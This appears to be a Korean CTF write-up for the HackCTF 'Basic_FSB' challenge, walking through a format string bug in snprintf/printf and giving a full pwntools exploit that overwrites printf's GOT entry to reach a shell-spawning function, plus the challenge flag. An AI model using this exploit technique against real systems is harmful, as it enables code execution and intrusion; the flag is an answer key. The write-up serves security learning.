-
Basic_FSBCTF/HackCTF 2021. 1. 29. 00:43
Disassembly 디스어셈블리
undefined4 main(void) { int32_t var_4h; setvbuf(_reloc.stdout, 0, 2, 0); vuln(); return 0; }
main()은 vuln()을 호출한다.
void vuln(void) { char *format; char *var_408h; printf("input : "); fgets(&format, 0x400, _reloc.stdin); snprintf(&var_408h, 0x400, &format); printf(&var_408h); return; }
vuln()은 fgets()로 문자열을 입력받고, snprintf()와 printf() 두 번에 걸쳐 포맷 스트링 버그가 발생한다.
void flag(void) { puts("EN)you have successfully modified the value :)"); puts("KR)#값조작 #성공적 #플래그 #FSB :)"); system("/bin/sh"); return; }
flag()를 호출하는 것이 문제의 목표인 듯하다.
FSB
snprintf()에서 참조할 인자들이 esp랑 얼마나 떨어져있는지 확인하기 위해 다음과 같은 코드를 이용해 디버깅해보자.
from pwn import * binary = "./basic_fsb" context.binary = binary p = process(binary) e = ELF(binary) gdb.attach(p) p.sendline("AAAA %x %x") raw_input(1) p.interactive()
snprintf()가 호출된 직후에 breakpoint를 걸고 format 배열의 정보를 확인해 보면 다음과 같다.
입력으로 넣어준 AAAA가 두 번째 %x에서 출력되었으므로 FmtStr 객체에 전달할 offset은 2임을 알 수 있다.
def send_payload(payload): log.info("payload = %s" % repr(payload)) p.sendline(payload) f = FmtStr(send_payload, offset = 2)
snprintf()가 호출된 이후 printf()가 바로 호출되므로 printf()의 got를 flag()로 덮어주면 문제를 해결할 수 있다.
Code
더보기from pwn import * binary = "./basic_fsb" server = "ctf.j0n9hyun.xyz" port = 3002 context.binary = binary p = remote(server, port) e = ELF(binary) def send_payload(payload): log.info("payload = %s" % repr(payload)) p.sendline(payload) f = FmtStr(send_payload, offset = 2) flag = e.symbols["flag"] printf_got = e.got["printf"] f.write(printf_got, flag) f.execute_writes() p.interactive()
Flag
HackCTF{여보게_오늘_반찬은_포맷스트링이_어떠한가?}